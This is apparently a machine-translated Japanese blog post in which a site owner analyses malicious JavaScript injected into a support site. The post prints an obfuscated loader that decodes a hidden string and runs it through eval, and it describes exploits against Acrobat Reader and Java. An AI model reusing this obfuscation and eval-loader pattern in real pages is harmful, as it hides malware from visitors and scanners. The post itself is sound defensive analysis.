悪意のあるJavaScriptの識別

jsの1つのサポートサイトで奇妙なコードが発見されました。または、それがマルウェアであることが明らかでした。avastは警告を発行し、コンソールはいくつかの残ったサイトへの接続があることを示しました。



悪意のあるコードがどのようにサイトに到達したかはそれほど重要ではなく、疑惑の穴はすでに閉じられていますが、最終的にコードを削除する前に、それが何をするかを見ることにしました。



したがって、暗号化されたコードには3行あります 。たとえば、 最初のコードを取ります

さまざまなオンラインサービスを使用してこのようなスクリプトを解読できますが、さらに解読しようとすると、より短い時間で済むすばらしいプログラムに出会いました。



解読されたスクリプトはより明確になり、興味深いことに、サイトは「document.onmousemove」イベントでアクセスされたため、ボットはこのスクリプトを検出しない可能性が高いです。



3つのスクリプトはすべて、ドメインがDyDNSに登録されたサイトにつながりました。このサイトでは、この人物を追跡することはできません。これは必要ありませんが、追加するのは良いことです。



さて、今は興味深いですが、このスクリプトがサイトから正確に読み込むものは、 難読化された別のjsです。 スクリプトの実際の目的を判断する方法は既に知っています。 コードには何も興味深いものはありません。iframeが読み込まれます。 しかし、サーバーの応答には非常に驚かされまし 。 これで、魔法のプログラムが役に立たなかったため、ハンドルを掘り下げることにしました。



htmlの一部も興味深いものでした

<body id="eval"> <input type="text" value="innerHTML" id="bOHYVBO5"> <div id="length" style="visibility:hidden">
      
      





およびスクリプト

 <script> EPPkAnzs=document; EPPkAnzs.wxdQzk0q=function(shjZdTvV){return EPPkAnzs.getElementById(shjZdTvV);}; EPPkAnzs.Wul6s0M=function(shjZdTvV){return EPPkAnzs["getElementsB@@@@@@@@@@yTagName".replace("@@@@@@@@@@","")](shjZdTvV);}; ZYpi6j9=EPPkAnzs.Wul6s0M("div")[0].id; function SJHTBM(Y7vWZr3R,YCYqLvHz){return Y7vWZr3R.concat(YCYqLvHz);} HALnMi=function(Y7vWZr3R,YCYqLvHz,DiZpr){return Y7vWZr3R.substr(YCYqLvHz,DiZpr);}; qo5mOv=EPPkAnzs.Wul6s0M("div")[1][EPPkAnzs.wxdQzk0q("bOHYVBO5").value]; vOm2xcMs = "Da[-PREfb6)lIN%{c4 V&s>}yJ2?*8!=Yo0+9Zu7_dO$|\\'x<nUAG^]j;M31e/gCtHL5wvKh@\"#W,rpmSFi:zTqBQk(X"; wM16vq=""; lA8KxT38=qo5mOv[ZYpi6j9]; FBVE8K4W=0; i=0; gTjSM=[]; while(FBVE8K4W<lA8KxT38){ gTjSM[i] = HALnMi(qo5mOv,FBVE8K4W,2); FBVE8K4W=2+FBVE8K4W; i++; } i=0; while(i<gTjSM[ZYpi6j9]){ iidteUpd=HALnMi(vOm2xcMs,gTjSM[i],1); wM16vq=SJHTBM(wM16vq,iidteUpd); i++; } </script> <script> if(EPPkAnzs.Wul6s0M("div")[0].id==="length")this[EPPkAnzs.Wul6s0M("body")[0].id](wM16vq);; </script>
      
      







そもそも、ランダムな文字セットを見ないように、これをすべて単純化することにしました。 最初に要求されるのは、どこでも「EPPkAnzs」を「ドキュメント」に置き換え、明白な「getElementsB @@@@@@@@@@@ yTagName .replace( "@@@@@@@@@@"」を実行することです。 「)置換」「getElementsByTagName」など。 その後、彼は関数の名前を単純化し、必要な値を置き換え始めました。

読み取り不可能な「qo5mOv = EPPkAnzs.Wul6s0M( "div")[1] [EPPkAnzs.wxdQzk0q( "bOHYVBO5")。値]; " 理解しやすい「big_text = document.getElementsByTagName( "div")[1] ["innerHTML"];」になりました

これらすべての非常に簡単な操作の後、cな脚本家の意図が明らかになり、数字の一番上の部分を駆け巡り、2つに分割して、文字列から対応する位置の文字を取り出しました。 すべてが明らかになったとき、私は結果をもたらし、それを少しフォーマットしました。

スクリプトをすばやく実行すると、Acrobat ReaderとJavaの脆弱性が使用されていることがわかりました。



私はこれに落ち着き、明確な良心をもって、マルウェアへのすべての参照を削除しました。 一般的なプラグインのセキュリティを確認し、そのようなクエストを手配する必要がないようにすばやく更新します。



All Articles